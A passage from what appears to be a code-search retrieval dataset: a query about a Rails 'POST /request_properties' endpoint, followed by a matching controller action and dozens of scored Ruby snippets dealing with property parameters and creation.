method.to_s.split(\"_\")\n predicate.shift if [\"a\", \"an\"].include?(predicate.first)\n return Inspector::Constraints::Predicate.new(predicate.join(\"_\"), *args, &block) if prefix == \"be\"\n # return Inspector::Constraints::Has.new(method, *args, &block) if method.to_s =~ /^have_/\n super\n end", "title": "" }, { "docid": "53401f60c43a5fb3989c6cae2791d0ff", "score": "0.5133328", "text": "def addConstr; end", "title": "" }, { "docid": "0e2f6a25d955fd6025137e357c3856fe", "score": "0.5128215", "text": "def inbound_limit\n super\n end", "title": "" }, { "docid": "b72b3efea982d9c80be3f9b4ed5fd141", "score": "0.51169956", "text": "def boundary; end", "title": "" }, { "docid": "b72b3efea982d9c80be3f9b4ed5fd141", "score": "0.51169956", "text": "def boundary; end", "title": "" } ]
f7fe9271a3d9e603396e7a5a1cecd251
POST /request_properties POST /request_properties.json
[ { "docid": "c65d7be5846797d2b752c83bd086d933", "score": "0.627175", "text": "def create\n @request_property = current_user.request_property.new(request_property_params)\n @request_property.sequence_request = @request_sequence_property.sequence\n @request_property.sequence_certificate = @property_certificate_sequence.sequence\n @request_property.date_sequence = @request_sequence_property.date_sequence\n @request_property.date_certificate = @property_certificate_sequence.date_sequence\n\n respond_to do |format|\n if @request_property.save\n @request_sequence_property.update(sequence: @request_property.sequence_request+1)\n @property_certificate_sequence.update(sequence: @request_property.sequence_certificate+1)\n format.html { redirect_to @request_property, notice: 'Request property was successfully created.' }\n format.json { render :show, status: :created, location: @request_property }\n else\n format.html { render :new }\n format.json { render json: @request_property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "a4283f786d09b62c1f0d1abde37adda0", "score": "0.7337293", "text": "def request_property_params\n params.require(:request_property).permit(:user_id, :certificate, :request_certificate, :other_type, :other_certificate, :comment, :sequence_request, :sequence_certificate)\n end", "title": "" }, { "docid": "6555a1626a7c31205b2a7c02820f3051", "score": "0.6809831", "text": "def property_params\n params.require(:property).permit(:resource_id, :resource_type, :name, :value)\n end", "title": "" }, { "docid": "3d4bbaedadb0482ab30e6d587bdbddc8", "score": "0.6800026", "text": "def properties_params\n\t\t\tparams.require(:property).permit(:status,:address,:city,:state,:zip,:lat,:lon)\n\t\tend", "title": "" }, { "docid": "b2259d0f7fd173b4d6c5cc9c4178580a", "score": "0.66237444", "text": "def property_params\n params.require(:property).permit(:name, :address, :size, :units, :terms_available, :earliest_start_date, :application_fee, :monthly_rent)\n end", "title": "" }, { "docid": "9df7ff116e900b9f4f48e38fe7d2b08f", "score": "0.6609838", "text": "def set_request_property\n @request_property = RequestProperty.find(params[:id])\n end", "title": "" }, { "docid": "e369b8144e5dbc8f083ac6de8504448a", "score": "0.65604573", "text": "def property_params\n params\n .require(:property)\n .permit(\n :name,\n :type_of_property,\n :street,\n :external_number,\n :internal_number,\n :neighborhood,\n :city,\n :country,\n :rooms,\n :bathrooms,\n :comments\n )\n end", "title": "" }, { "docid": "1c26f7ac3f853112a9f7fb797ec064a6", "score": "0.65471834", "text": "def property_params\n params.require(:property).permit(:name, :address, :property_type, :description, :size_type, :rent, :date_available, :security_deposit, :image_urls, :landlord_id)\n end", "title": "" }, { "docid": "7820c67d5b32af14e1b97d2acb46c86d", "score": "0.65387213", "text": "def property_params\n params.require(:property).permit(:situation, :type_property, :status, :iptu,\n :project_id, :cep, :region, :district, :group,\n :block, :number, :address, :complement, :reference_point, \n :address_link_visible, :rooms, :unit, :value, :value_m2, \n :area, :suit, :parking_spaces, :floor, :sun_position, \n :link_tour, :value_rent,:description, :commercial, :elevator, :coverage, \n :expiration_date, :name, image_path: [], construction_companies_id: [], sellers_id: [], property_attribute_id: [])\n end", "title": "" }, { "docid": "d5489f170a58ce4e7ef48eb996ac9737", "score": "0.6514561", "text": "def property_params\n #params.fetch(:property, {})\n params.require(:property).permit(:address, :suburb, :landsize, :bedrooms, :bathrooms, :private_parking, :expected_price)\n end", "title": "" }, { "docid": "5fade61bfa03f67d680811a59e3126c9", "score": "0.6510707", "text": "def property_params\n params.require(:property).permit(\n :property_name,\n :property_address,\n :landlord_first_name,\n :landlord_last_name,\n :landlord_email,\n :tenancy_start_date,\n :tenancy_security_deposit,\n :tenancy_monthly_rent,\n :rented,\n :tenants_emails,\n :multiple_landlords, \n :other_landlords_emails\n )\n end", "title": "" }, { "docid": "26c8c34954f8918c1127782edde2fdb1", "score": "0.6496065", "text": "def property_params\n params[:property]\n end", "title": "" }, { "docid": "1a912666032b7741ae2c3191de4029c8", "score": "0.64862466", "text": "def property_params\n params.require(:property).permit(:name, :description, :beds, :baths, :square_feet, :price, :address, :city, :state, :zip_code, :has_laundry, :has_parking, :image_url, :is_available, :date_available)\n end", "title": "" }, { "docid": "692d6c9ad6ed8f1f31208f20bc18de0d", "score": "0.64830935", "text": "def property_params\n params.require(:property).permit!\n end", "title": "" }, { "docid": "380acf197c8939622df9fc058dccba72", "score": "0.6465757", "text": "def populate_properties!\n @status_code = @req.code\n @headers = @req.header.to_hash.inspect\n JSON.parse(@req.body, quirks_mode: true)\n end", "title": "" }, { "docid": "63062c3e81ee7e2168dcca1768b54293", "score": "0.6440055", "text": "def property_params\n params.require(:property).permit(:name, :area, :price, :description, :property_type_id, :interest, :status, :user_id, :bed_rooms, :bath_rooms, :address, :county_id, :state_id, :city_id, :latitude, :longitude, :video_url, option_ids: [])\n end", "title": "" }, { "docid": "0aaf5bf90fb8d099652673e4bd15ac9d", "score": "0.64162385", "text": "def update\n respond_to do |format|\n if @request_property.update(request_property_params)\n format.html { redirect_to @request_property, notice: 'Request property was successfully updated.' }\n format.json { render :show, status: :ok, location: @request_property }\n else\n format.html { render :edit }\n format.json { render json: @request_property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f5bed6b567b8414540ae272922e310d", "score": "0.6414791", "text": "def property_params\n params.require(:property).permit(:address, :apt, :city, :state, :zip)\n end", "title": "" }, { "docid": "46bdd96ddfc4ef271c49498a0ff7fdd6", "score": "0.63730234", "text": "def property_params\n params.require(:property).permit(:title, :propType, :address, :latitude, :longitude,:price, :beds, :rooms, :guests, :description, :user_id)\n end", "title": "" }, { "docid": "27c5e87ffa6952e35db24f26bebaa573", "score": "0.6354878", "text": "def index\n @request_properties = current_user.request_property\n end", "title": "" }, { "docid": "64f5b00040bedf8174a065b88fa0c6e5", "score": "0.634482", "text": "def property_keys\n headers = { 'Accept' => 'application/json; charset=UTF-8' }\n get_request 'propertykeys', headers\n end", "title": "" }, { "docid": "d7bf37b6065af3e983ae0ca2c6815c14", "score": "0.63395447", "text": "def property_params\n params.require(:property).permit(\n :value_type, :measurement_unit_id, :unit_pricing, :searchable,\n :name, :external_name\n )\n end", "title": "" }, { "docid": "f7f8f0503a1e8c13c5881a93158d983a", "score": "0.6334232", "text": "def property_params\n params.require(:property).permit(:street_address_1, :street_address_2, :city, :state_id, :postal_code)\n end", "title": "" }, { "docid": "80122901e78d83da243c80f18f932f87", "score": "0.633179", "text": "def property_params\n params.require(:property).permit(:number, :buildinginfo, :building_id, :suitedfor, :notes, :rented, :avatar)\n end", "title": "" }, { "docid": "c3a5d60051c1cc3b33ad1d7b311a074a", "score": "0.632932", "text": "def property_params\n params.require(:property).permit(:city, :number, :state, :street, :zip)\n end", "title": "" }, { "docid": "da0096ce808fa57f10c18ddf2ac2288a", "score": "0.63134915", "text": "def property_params\n params.require(:property).permit(:Code, :County, :Price, :CurrentPrice, :Shares, :Rate, :ShareValue, :locality, :LR, :Title, :Reason, :StartOffer, :EndOffer, :user_id, :Area_of_land, :brochure)\n end", "title": "" }, { "docid": "9ace054ce690b9d413f34b2cc9678f6b", "score": "0.6301382", "text": "def property_params\n params.require(:property).permit(:lol3, :unit, :group, :tenantid, :resident_name, :resident_rent, :unit_rent, :discount, :status, :days_vacant, :move_out, :lease_to, :amenities, :amenities_amount, :discounts, :company_id, :unit_type_id)\n end", "title": "" }, { "docid": "7889026ac56597eb41f2caf26d7056de", "score": "0.6292257", "text": "def property_params\n params.require(:property).permit!\n end", "title": "" }, { "docid": "4ef2300d7420ec4ad7583a464a48de90", "score": "0.62847805", "text": "def property_params\n params.require(:property).permit(:state_policy_id, :stop_initiating_evictions, :stop_enforcing_evictions, :grace_period_or_security_deposit_towards_rent, :froze_utility_shut_offs, :froze_mortgage_payments)\n end", "title": "" }, { "docid": "be01bb66d94aef3c355e139205253351", "score": "0.62830204", "text": "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "title": "" }, { "docid": "b8b5e326bfa76d02c62ce53e888237ee", "score": "0.6282119", "text": "def property_params\n params.require(:property).permit(:name, :price, :population, :state, :region, :town, :kind, :position, :description)\n end", "title": "" }, { "docid": "721c214bd9609db041d2d4f271e99e78", "score": "0.6269097", "text": "def property_params\n params.require(:property).permit(:id, :auctionStatus, :caseID, :caseType, :judgement, :assesed, :parcel, :address, :city, :state, :zip, :legal, :beds, :baths, :area, :lot, :year, :estimate, :rentEstimate, :zillow, :date)\n end", "title": "" }, { "docid": "8fd7982052b4eab258f62a62314cc875", "score": "0.6263289", "text": "def property_params\n params.require(:property).permit(:code, :name, :description, :property_type_id, :static, :variant, :property_kind_id)\n end", "title": "" }, { "docid": "b4763df917d3a77afe236ea84006c919", "score": "0.62631255", "text": "def property_detail_params\n params.require(:property_detail).permit(:property_id, :name, :source_type, :source_contact, :status, :date_of_contact, :requirements, :comments)\n end", "title": "" }, { "docid": "9f520a5d0612da6be5313b2bc0e97216", "score": "0.62353265", "text": "def property_params\n params.require(:property).permit(\n :marketing_name,\n :website,\n :description,\n :contact_email,\n :contact_phone,\n :street,\n :city,\n :state,\n :zip,\n :latitude,\n :longitude,\n :pet_dog,\n :pet_cat,\n :amenities,\n { floorplan_ids: [] },\n )\n end", "title": "" }, { "docid": "94f89636ae40d3ae5ab3ef54e68da78d", "score": "0.6225988", "text": "def properties_value_params\r\n params.fetch(:properties_value, {}).permit(:value, :property_id, :is_show_website)\r\n end", "title": "" }, { "docid": "00b7439ea91d1ccd5b1f9dadf6ae82e5", "score": "0.6214808", "text": "def create_property request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_property_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Analytics::Admin::V1alpha::Property.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "add4688ed1228599acf9c1b399177a76", "score": "0.6212656", "text": "def process_properties(properties); end", "title": "" }, { "docid": "fd4eb465bed7625e80d4a8d75d131486", "score": "0.6184103", "text": "def property_params\n pp = params.require(:property).permit(:title, :info, :description, :status, :development_id, :property_type_id, :age, :environments, :garages, :bathrooms, :toilettes, :expenses, :sale_price, :sale_currency, :rent_price, :rent_currency, :area_unit, :constructed_area, :unconstructed_area, :zone_id, :address, :zip_code, :lat, :lng)\n pp[:expenses].tr!('.', '') if pp[:expenses].present?\n pp[:sale_price].tr!('.', '') if pp[:sale_price].present?\n pp[:rent_price].tr!('.', '') if pp[:rent_price].present?\n pp[:constructed_area].tr!('.', '') if pp[:constructed_area].present?\n pp[:unconstructed_area].tr!('.', '') if pp[:unconstructed_area].present?\n return pp\n end", "title": "" }, { "docid": "3ae7ab83be12c31e4bfe9f877e8714d0", "score": "0.6175951", "text": "def property_params\n params.require(:property).permit(:country, :province, :city, :address, :holding_type, :project_name, :project_code, :property_name, :property_code, :main_photo, :cover_photo, :city_location_photo, :description, :price, :featured, :latitude, :longitude, :facilities => [], :gallery_photos => [], :floor_plan_photos => [])\n end", "title": "" }, { "docid": "9164f51c6aebcc8728e32b73b4cda6cb", "score": "0.6160065", "text": "def property_params\n params.require(:property).permit(:business_name, :street_address, :city, :state, :zip, :mdu, :units, :content)\n end", "title": "" }, { "docid": "e36623884a2bf4019d72e8da2fe60696", "score": "0.61332333", "text": "def required_properties\n {\n \"cc\" => {\n \"internal_service_hostname\" => \"cc.service.cf.internal\"\n },\n \"loggregator\" => {\n \"etcd\" => {\n \"machines\" => []\n },\n \"uaa\" => {\n \"client_secret\" => \"secret\"\n }\n },\n \"system_domain\" => \"bosh-lite.com\",\n }\n end", "title": "" }, { "docid": "0f1082ee8afef9c1f9c43f93563b79f5", "score": "0.6121645", "text": "def contact_property_params\n params.require(:contact_property).permit(:property, :data_type, :show_in_table, :org_id)\n end", "title": "" }, { "docid": "20925417552cebe9ac5e8d68d028af9c", "score": "0.61193293", "text": "def property_params\n params.require(:property).permit(:title, :description_short, :description_long, :city, :state, :country, :latitude, :longitude, :postcode, :image, :remote_image_url, :image_cache, :remove_image, :image_url, :property_pictures_attributes => [:id, :avatar_url, :name, :_destroy, :avatar_url_cache])\n end", "title": "" }, { "docid": "d8652b0738eccaa28028465f597c50fd", "score": "0.61183137", "text": "def client_property_params\n params.require(:client_property).permit(:client_id, :property_id, :clientType, :typeDate, :occupiedBy, :escrow, :escrowDate)\n end", "title": "" }, { "docid": "e1aabb6781f2c96285db5fb60e32736d", "score": "0.6107753", "text": "def property_params\n params.require(:property).permit(:title, :property_type_id, :description)\n end", "title": "" }, { "docid": "7cada29f582874ade875a309d5949b41", "score": "0.60921425", "text": "def property_params\n params.require(:property).permit(:title, :short_desc, :price, :property_for, :landmark, :facing,\n :location, :property_in, :total_no_of_floors, :bed_rooms,\n :total_rooms, :bathrooms, :parking, :flooring, :furnishing,\n :open_for_inspection, :address, :city, :district, :zipcode,\n :available_from, :photo, :contact_hours, :long_desc, :property_type, \n :rent, :saleable_area, :gross_area, :vacant_or_possession, :landlord_name, \n :hkid_no, :furniture_and_fittings, :electronic_appliences, :no_of_keys,\n :other_assets, :terms_and_conditions_of_sale, :accept_short_lease, :accept_shared_rent,\n :require_income_proof, :deposite, :tenancy_terms, :fixed_period, :break_clause_notice,\n :availablity_date, :rent_inclusive_of_management_fee, :rent_inclusive_of_gov_rent,\n :meter_reading, :rent, :property_type, :available_for_rent, :available_for_sale,\n :balcony, :rooftop, :clubhouse, :swiming_pool, :gym_room, :shuttle_bus, :sea_view,\n :building_name, :flat, :street, :year_build, :private_garden, :pet_allowed, :expiration_date,\n :parking_garage, :private_parking_space, property_images_attributes: [:id, :photo, :_destroy]\n )\n end", "title": "" }, { "docid": "9c5a0dc5856a3957d2b9fcaec1284113", "score": "0.6053561", "text": "def property_params\n params[:property][:specification_attributes] = params[:property][:specification] if params[:property][:specification]\n params[:property][:charge_attributes] = params[:property][:charge] if params[:property][:charge]\n # Note :specification removed\n params.require(:property).permit(:title,:location_name, :description, :price, :pincode, :region, :area, :address, :user_id, :property_type_id,amenity_ids: [],flooring_ids:[] ,property_images_attributes: [:id , :photo, :title,:_destroy], specification_attributes: [:super_builtup, :super_builtup_unit, :builtup, :builtup_unit, :carpet, :carpet_unit, :transaction_type, :possession_status, :construction_age], charge_attributes: [:expected_price, :price_type, :car_parking, :club_membership, :token_amount, :maintenance, :maintenance_type, :others])\n end", "title": "" }, { "docid": "55ae228571db6280455efa247621a051", "score": "0.60363257", "text": "def api_v1_property_params\n params.require(:api_v1_property).permit(:name, :description, :guest_max, :beds, :bedroom, :bathroom, :price, :accommodation_type, address_attributes: [:country, :state, :city, :neighborhood, :street, :number, :zipcode], facility_attributes: [:wifi, :towels, :clothes_iron, :refrigerator, :heater, :air_conditioning, :washing_machine]).merge(status: :pending, user: current_api_v1_user)\n end", "title": "" }, { "docid": "a8b1f9f9e2c923552177df0acfc9aa36", "score": "0.6026326", "text": "def property_params\n params.require(:property).permit(:price, :arv, :street, :city, :state, :zip_code, :nbeds, :nbath, :description, :sqft, :property_category, :number_unit, :year_built, :rental_rating, :parking, :lot_size, :zoning, :PropertyListing_id, :defaultimage, :PropertyType_id, :rehab_cost, :photo_data => [])\n end", "title": "" }, { "docid": "d2e9f305040520a0eb872db660a0bf85", "score": "0.60054797", "text": "def property_type_params\n params.require(:property_type).permit(:property_type)\n end", "title": "" }, { "docid": "83235b1162cb591569b65dc486e65790", "score": "0.6001905", "text": "def request_available_properties(*args)\n Hashie::Mash.new(request: [], configure: []).tap do |mash|\n methods.each do |m|\n mash[$1] << $2.to_sym if m =~ /^(request|configure)_(.+)/ && $2 != \"available_properties\"\n end\n end\n end", "title": "" }, { "docid": "83235b1162cb591569b65dc486e65790", "score": "0.6001905", "text": "def request_available_properties(*args)\n Hashie::Mash.new(request: [], configure: []).tap do |mash|\n methods.each do |m|\n mash[$1] << $2.to_sym if m =~ /^(request|configure)_(.+)/ && $2 != \"available_properties\"\n end\n end\n end", "title": "" }, { "docid": "f261b5de18a0678cd7313b9724da683a", "score": "0.59695077", "text": "def api_v1_property_params\n params.require(:api_v1_property).permit(:title, :description)\n end", "title": "" }, { "docid": "f261b5de18a0678cd7313b9724da683a", "score": "0.59695077", "text": "def api_v1_property_params\n params.require(:api_v1_property).permit(:title, :description)\n end", "title": "" }, { "docid": "1197d13291d8010ffe12c2d8e9f57e3a", "score": "0.5940063", "text": "def property_params\n params.require(:property).permit(:id,:account_id,:featured,:comision,:duenos_id,:descripcion,:tipoOp,:tipoProp, :zona, :colonia, :precio, :mConst, :mTerreno, :banos,:ac,:alarm,:lift,:balcony,:furnished,:bbq,:heating,:fireplace,:backyard,:pool,:terrace,:security,:comision, :recamaras,:cover_picture,pictures: [],ids: [])\n end", "title": "" }, { "docid": "da5fff7a1844aa1ec87e0a4607a62ebf", "score": "0.5930928", "text": "def property_params\n params.require(:property).permit(:type_of_offer,:price, :brunk_type, :brunk, :parking_lot, :property_type, :runner_id, :country_id, :department, :city, :address, :latitude, :length, :prince, :stratum, :area, :blueprints, :number_bedrooms, :number_bathrooms, :levels, :state, :state_favorite, :url_video, :images, property_images_attributes: [:id, :property_id, :runner_id, :file, :_destroy])\n end", "title": "" }, { "docid": "083b12ee62292d810dbeb8f583e6b1e7", "score": "0.59166425", "text": "def properties\n # vendor = Vendor.find(params[:vendor_id])\n search_params = { vendor_id: params[:vendor_id].to_i, results_per_page: 150 }\n search_params[:p] = params[:p].to_i if params[:p]\n pd = PropertySearchApi.new(filtered_params: search_params )\n pd.query[:size] = 1000\n results, status = pd.filter\n results[:results].each { |e| e[:address] = PropertyDetails.address(e) }\n response = results[:results].map { |e| e.slice(:udprn, :address) }\n response = response.sort_by{ |t| t[:address] }\n #Rails.logger.info \"sending response for vendor properties -> #{response.inspect}\"\n render json: response, status: status\n end", "title": "" }, { "docid": "4fb5120e7bc5f0e8b6521b27f9531922", "score": "0.59041715", "text": "def prop_params\n params.require(:prop).permit(:url, :bedrooms, :bathrooms, :parking, :price, :parish, :address, :user_id)\n end", "title": "" }, { "docid": "fe8eb917853ca12394cd84efe61c489b", "score": "0.5904045", "text": "def create\n @property_hash = {\n :name => @resource[:name],\n :ensure => :present,\n :primitive => @resource[:primitive],\n :node_name => @resource[:node_name],\n :score => @resource[:score],\n :resource_discovery => @resource[:resource_discovery],\n :cib => @resource[:cib],\n :rule => @resource[:rule]\n }\n end", "title": "" }, { "docid": "38a1a4c984e986285a60772974e581f9", "score": "0.58403826", "text": "def users_property_params\n params.require(:users_property).permit(:user_id, :property, :property_value)\n end", "title": "" }, { "docid": "4d7a5d09e054947319c7beffe36efe45", "score": "0.58244073", "text": "def create\n @property_hash = {\n :name => @resource[:name],\n :ensure => :present,\n :primitive => @resource[:primitive],\n :node_name => @resource[:node_name],\n :node_score => @resource[:node_score],\n :rules => @resource[:rules],\n :cib => @resource[:cib],\n }\n end", "title": "" }, { "docid": "ae1596fe0e9ceabde8e840ba4c61ac43", "score": "0.5818913", "text": "def request_params\n params.fetch(:request, {}).permit(:title, :description, :status, :type_of_request, :latitude, :longitude, :republished)\n end", "title": "" }, { "docid": "30455ece21bd70ebb7a9585367fcb492", "score": "0.58118504", "text": "def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n value: @resource[:value]\n }\n end", "title": "" }, { "docid": "10cf6f00d65ce6fb0f8577ade2b742dc", "score": "0.58013886", "text": "def create\n @recipe = Recipe.new(recipe_params)\n @recipe.properties = RecipeProperties.new(params[:recipe][:properties])\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac5a9683f40ac9fdd45f3a2ebe565a88", "score": "0.5794072", "text": "def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n primitive: @resource[:primitive],\n node_name: @resource[:node_name],\n score: @resource[:score],\n resource_discovery: @resource[:resource_discovery]\n }\n end", "title": "" }, { "docid": "cff4596daf58da8d9dce09a4d4918fe6", "score": "0.5788222", "text": "def canister_params\n params.require(:canister).permit(:_id, :properties)\n end", "title": "" }, { "docid": "b384a66d3790783bcd6bfac27d5aade3", "score": "0.57695085", "text": "def sys_property_params\n params.require(:sys_property).permit(:name, :status, :values_name).merge({account_id: current_account.id, updater_id: current_user.id})\n end", "title": "" }, { "docid": "f1e33c70795af8a0e8856add6da3ab0b", "score": "0.5763358", "text": "def list_properties request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_properties_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Analytics::Admin::V1alpha::ListPropertiesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "e527aec16f8771fda07116996a77b93e", "score": "0.57581705", "text": "def property_identification_params\n #params[:valuation_fee]\n params.require(:property_identification).permit(:customer_code, :customer, :tenure_system, :LRV, :folio, :lease_effective_date, :lease_expiry_date, :lease_tenor,\n \t\t\t\t\t\t\t\t\t\t\t\t :outstanding_lease_tenor, :unit, :flat, :block, :plot, :road_location, :area, :district, :county, :sub_county,\n \t\t\t\t\t\t\t\t\t\t\t\t :parish, :LC, :land_area_hectares, :land_area_acres, :built_area, :property_description, :number_of_units,\n \t\t\t\t\t\t\t\t\t\t\t\t :property_type, :number_of_bedrooms, :property_status, :roof_type, :additional_description)\n end", "title": "" }, { "docid": "33e6ee2d737e9d0b534eacfd722374fc", "score": "0.57384497", "text": "def create\n @property = Property.new(property_params)\n\n if @property.save\n render json: @property, status: :created, location: @property\n else\n render json: @property.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "062eda91482c7a1d58b99732821018c2", "score": "0.57342994", "text": "def productrequest_params\n params.require(:productrequest).permit(:name, :email, :phone, :fullfilled, :location)\n end", "title": "" }, { "docid": "ee039fa767777d71a4b9682286c58f2e", "score": "0.5731076", "text": "def client_properties\n end", "title": "" }, { "docid": "ae581acbcef2febb688ab4bb4ec70d13", "score": "0.5727485", "text": "def property_params\n params.require(:property).permit(:description, :total_area, :price, :title, :property_type, \n :offer_type, :width, :length, address_attributes: [:city, :country, :description, :id])\n end", "title": "" }, { "docid": "af57a5b05076f40c65f248d3b85f4014", "score": "0.57260984", "text": "def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n primitive: @resource[:primitive],\n node_name: @resource[:node_name],\n score: @resource[:score],\n rules: @resource[:rules],\n resource_discovery: @resource[:resource_discovery]\n }\n end", "title": "" }, { "docid": "2917469f5792eef59ca196867059837b", "score": "0.5711923", "text": "def valid_send_properties\n {\n :$user_id => $user_id,\n\t :$send_to => $user_id,\n :$verification_type => '$email',\n :$brand_name => 'all',\n :$language => 'en',\n :$event => {\n :$session_id => 'gigtleqddo84l8cm15qe4il',\n :$verified_event => '$login',\n :$reason => '$automated_rule',\n :$ip => '192.168.1.1',\n :$browser => {\n :$user_agent => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'\n }\n }\n }\nend", "title": "" }, { "docid": "9700e2bcc7e42f1e6ed0e160bd4bd88c", "score": "0.5709927", "text": "def create\n key = params[:key]\n value = params[:value]\n if key\n begin\n Property.clear(key, nil, current_user.id)\n property=Property.create(:prop_key => key, :text_value => value, :user_id => current_user.id)\n respond_to do |format|\n format.json { render :json => jsonp(properties_to_json([property])) }\n format.xml { render :xml => properties_to_xml([property]) }\n format.text { render :text => text_not_supported }\n end\n\n rescue Exception => e\n render_error(e.message, 500)\n end\n else\n render_error('Bad request: missing key', 400)\n end\n end", "title": "" }, { "docid": "50bed616423d01d18780f925ccdf241e", "score": "0.56996334", "text": "def property_params\n params.require(:property).permit(:ad_type, :property_type, :country, :sponsored, :price, :bedroom, :bathroom, :area, :description, :city, { photos: [] })\n end", "title": "" }, { "docid": "f16e297a8e3d3ed3042fedc5d0b726db", "score": "0.5694296", "text": "def line_property_item_params\n params.require(:line_property_item).permit(:name, :line_property)\n end", "title": "" }, { "docid": "2c509a79acbd9b24ae4cbf2c0b96c6e7", "score": "0.5684186", "text": "def auth_property_params\n params.require(:auth_property).permit(:key, :txtValue, :numValue, :token)\n end", "title": "" }, { "docid": "4933f384ebe617b66d18d1804d8ebc97", "score": "0.5648659", "text": "def property_related_params\n params.require(:property_related).permit(:has_crime_record, :has_testament,\n loans_attributes: [:id, :_destroy, :start_day, :end_day, :notary_type, :description, :amount, :scan_file],\n house_purchases_attributes: [:id, :_destroy, :trade_day, :trade_type, :house_type, :house_address, :house_amount, :scan_file],\n deposits_attributes: [:id, :_destroy, :deposit_day, :receive_day, :amount, :scan_file]\n )\n end", "title": "" }, { "docid": "77db93e93dd0684d7abfbc1a9a2022da", "score": "0.5644711", "text": "def properties_reqd\n @properties_reqd ||= Set.new()\n end", "title": "" }, { "docid": "f717088924bb49478cd1bdf625083b5f", "score": "0.5643847", "text": "def chef_property_params\n params.require(:chef_property).permit(:value)\n end", "title": "" }, { "docid": "9e72cd70065608bc25abcba112a0bfab", "score": "0.563592", "text": "def line_property_params\n params.require(:line_property).permit(:targetable_id, :targetable_type, :name,\n line_property_items_attributes: [:name])\n end", "title": "" }, { "docid": "41f3d8dbd853850fa8cb888a53c2b697", "score": "0.56211215", "text": "def request_params\n params.require(:request).permit(:payload, :reference)\n end", "title": "" }, { "docid": "b069aa36fbf18ecd80b7cd3d0dde352f", "score": "0.5620058", "text": "def create\n if !check_permissions?(session[:user_type], \"create_property\")\n redirect_to root_path\n end\n @property = Property.new(property_params)\n respond_to do |format|\n if @property.save\n # , :, :in_unit_laundry, :parking\n add_property_feature(@property)\n format.html { redirect_to @property, notice: \"Property was successfully created.\" }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f73fb66bf457c64a2744fc4ca4957b11", "score": "0.5610361", "text": "def request_params\n params.fetch(:request, {}).permit(:title, :description, :value)\n end", "title": "" }, { "docid": "13375ecab781ad3c87e987814c5311ad", "score": "0.56071055", "text": "def request_parameters; end", "title": "" }, { "docid": "412201061f0e2aa31deb631fab477424", "score": "0.5604424", "text": "def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n users = User.all\n users.each { |u|\n options = {\n :registration_id => u.registration_id,\n :message => \"New property added to Property Market!\",\n :id => @property.id,\n :name => @property.name,\n :ptype => @property.ptype,\n :collapse_key => @property.id.to_s\n }\n puts options.inspect\n response = SpeedyC2DM::API.send_notification(options)\n puts response.inspect\n }\n \n\n \n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f1b67c58382476ce39d02821139563b", "score": "0.5598491", "text": "def handle_request_message(message, obj, response)\n request_props = if message.has_properties?\n message.properties.keys.map(&:to_sym) & obj.request_available_properties.request\n else\n # Return ALL props when nothing specified\n obj.request_available_properties.request\n end\n\n request_props.each do |p_name|\n method_name = \"request_#{p_name.to_s}\"\n value = obj.__send__(method_name)\n if value\n if namespaced_property?(p_name)\n response[p_name, namespace] = value\n else\n response[p_name] = value\n end\n end\n end\n end", "title": "" }, { "docid": "c02cb727300301b2bf6d59d62baadbac", "score": "0.55829096", "text": "def create\n @property = Property.new(property_params)\n @property.rent_table_version = 0\n @property.lease_base_rent = @property.current_rent\n @property.user_id = current_user.id\n\n if !(@property.owner_person_is.nil? || @property.owner_person_is==0)\n if @property.owner_person_is == 1 && !@property.owner_entity_id_indv.nil?\n @property.owner_entity_id = @property.owner_entity_id_indv\n end\n else\n @property.owner_entity_id = @property.owner_entity_id_indv = 0\n end\n\n respond_to do |format|\n if @property.save\n AccessResource.add_access({ user: current_user, resource: @property })\n flash[:success] = \"Congratulations, you have just created a record for #{@property.title}\"\n format.html { redirect_to edit_property_path(@property.key, type_is: 'basic_info') }\n # format.html { redirect_to properties_path }\n format.js { render json: @property.to_json, status: :ok }\n format.json { render action: 'show', status: :created, location: @property }\n else\n # flash[:error] = \"Failed to create new property.\"\n format.html { render action: 'new' }\n format.js { render action: 'new', status: :unprocessable_entity, layout: false }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "11aab8e9695616c3412a5a75cdcaf0f8", "score": "0.5572661", "text": "def request_params; end", "title": "" }, { "docid": 